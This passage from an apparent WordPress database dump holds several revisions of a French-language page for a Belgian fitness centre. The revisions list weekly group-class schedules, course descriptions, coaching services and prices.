class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:49:46', '2013-10-05 08:49:46', '', 11, 'http://www.crosstrainingcenter.be/11-revision-120/', 0, 'revision', '', 0),
(351, 1, '2013-10-05 08:51:38', '2013-10-05 08:51:38', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:51:38', '2013-10-05 08:51:38', '', 11, 'http://www.crosstrainingcenter.be/11-revision-122/', 0, 'revision', '', 0),
(348, 1, '2013-10-05 08:48:06', '2013-10-05 08:48:06', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre 